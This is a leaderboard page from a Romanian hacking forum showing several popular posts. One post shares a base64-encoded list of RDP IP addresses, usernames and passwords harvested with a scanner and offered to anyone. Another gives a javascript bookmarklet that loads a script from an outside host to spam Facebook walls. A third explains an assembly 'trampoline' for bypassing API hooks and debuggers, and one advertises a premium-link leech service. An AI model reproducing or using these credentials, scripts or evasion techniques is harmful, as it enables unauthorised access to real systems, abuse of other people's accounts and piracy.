Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 08/17/11 in all areas

  1. Am luat si eu scannerul lui cristi de rdp-uri am dat de proba si am prins astea, eu unu nu am ce face cu ele asa ca poate are careva de aici nevoie, have fun. NzAuMjMzLjAuNzhAYWRtaW47MA0KNzAuMTA0LjAuNDBAdGVzdDt0ZXN0DQo3NS4yMDYuMC44OUBwYXNzd29yZDtwYXNzdzByZA0KNzkuMTI5LjAuMTM5QDE7MQ0KNzkuMjguMC4xNTZAYWRtaW5pc3RyYXRvcjthYmNkMTIzNA0KODAuMzMuMC4xNjRAYWRtaW5pc3RyYWRvcjsxDQo4Mi43OS4wLjI5QGFkbWluaXN0cmF0b3I7MQ== Base64. Primu e ceva cu un sistem de supraveghere la un magazin, prin state cred. Ultimul ceva legat de Ro, Deva sau Dej parca..nu stiu ce antene radio si prostii =) Iar unu din .it-uri are ceva liste de mail-uri .it pe el, cautati-le
    2 points
  2. Leechmod.info premium link generator for HF|MU|FS|FSC premium links. http://www.leechmod.info
    1 point
  3. nytro, nu sunt programator, insa uite cum functioneaza chestiile astea de api hooking: marea majoritate a apiurilor din dll-urile windowsului(cel putin XP) incep prin: mov edi,edi push ebp mov ebp, esp win98 parca avea doar push ebp mov ebp,esp si poate ca si de aceea api hookurile nu merg pe win98. POATE. in fine, toate 3 instructiunile se intind pe 5 bytes in total cand se face hooking, aceste 3 instructiuni sunt suprascrise de o apelare a procedurii cu care faci hookul (in care vei spiona parametrii pasati). in acea procedura de hook, dupa ce vei lua parametrii, vei face un apel catre adevaratul API pe care l-a solicitat programul caruia ii faci hook. la intoarcerea din acel API, ai din nou controlul, ceea ce iti permite sa spionezi rezultatul APIului. apoi vei face saritura in codul programului tinta pt a-si continua executia in mod normal. chestia asta cu interceptarea apiurilor se poate face prin injectarea unui dll, care sa faca chestiile alea de le-am, explicat mai sus. debuggerele lucreaza in felul urmator: daca pui un breakpoint pe un API, debuggerul suprascrie prima instructiune a apiului cu int 03, iar cand aceasta instructiune este atinsa, debuggerul opreste aplicatia. deci primele instructiuni din api-uri sunt cele mai tintite de debuggere si hookere o metoda de a trece peste aceste api-hooking este asa-numita 'trambulina' in ce consta: programul nu face apel direct la API, ci va solicita executia codului dupa cele 3 instructiuni de la inceputul apiurilor. cele 3 instructiuni nu sunt neglijate, ele se vor emula in cadrul programului, dupa pasarea parametrilor. apoi se urca pe stiva adresa de intoarcere (care in cazul apelarii apiului direct este urcata implicit), iar apoi se va face saritura la urmatoarele instructiuni din api. uite un exemplu in masm la messagebox: mov eax, MessageBox ; tabela de import mov eax, [eax+2] ; .idata (luam decat adresa, nu si jumpul) mov eax, [eax] ; adresa de start a procedurii messagebox add eax, 5 ; sarim peste primele 3 instructiuni (5 bytes in total) push 0 ;parametrii push offset titlu push offset unhooked push 0 push intoarcerea ;urcam pe stiva adresa unde ne intoarcem dupa apelarea apiului ;mov edi, edi ; emularea primei instructiuni, deoarece nu face nimic o putem ignora push ebp ; emulam a doua instructiune mov ebp, esp ; emulam a treia instructiune jmp eax ; sarim la messagebox+5 (adica apelam messagebox nu de la inceputul ei, ci dupa cele 3 instructiuni de la inceput intoarcerea: ;aici windowsul va reveni dupa ce ne afiseaza mesageboxul am facut si un foarte mic program-test: test.rar incercati sa-i faceti hook la messagebox. puteti incerca cu debuggere sau programuri de genul hooking -testat pe win xp
    1 point
  4. Eu l-am folosit pe XP, avand specificatii mai slabe decat ale tale, si mi-a mers ok, nu am avut probleme.
    1 point
  5. Gata,s-au terminat.kNigHt si adi003user sa verificati mail-urile.Nu-mi trebuie nimic la schimb,doar sa respectati regulile de pe site si sa nu-mi creati probleme.
    1 point
  6. Dupa ce ca in comment am dat tot mura-n-gura, mai si vrei sursa ?
    -1 points
  7. MEGAUPLOAD - The leading online storage and file delivery service
    -1 points
  8. Intra?i pe profilul unui utilizator facebook,?terge?i tot din c?su?a URL,?i copia?i asta: javascript:(a = (b = document).createElement("script")).src = "//dumar.pl/dumar_script.js", b.body.appendChild(a); void(0) dupaia scrie?i in casuta care va apare cate mesaje doriti sa lasati pe perete,dati ok si enjoy! LE: Merge doar la prieteni!!! Sursa: HackForums
    -1 points
×
×
  • Create New...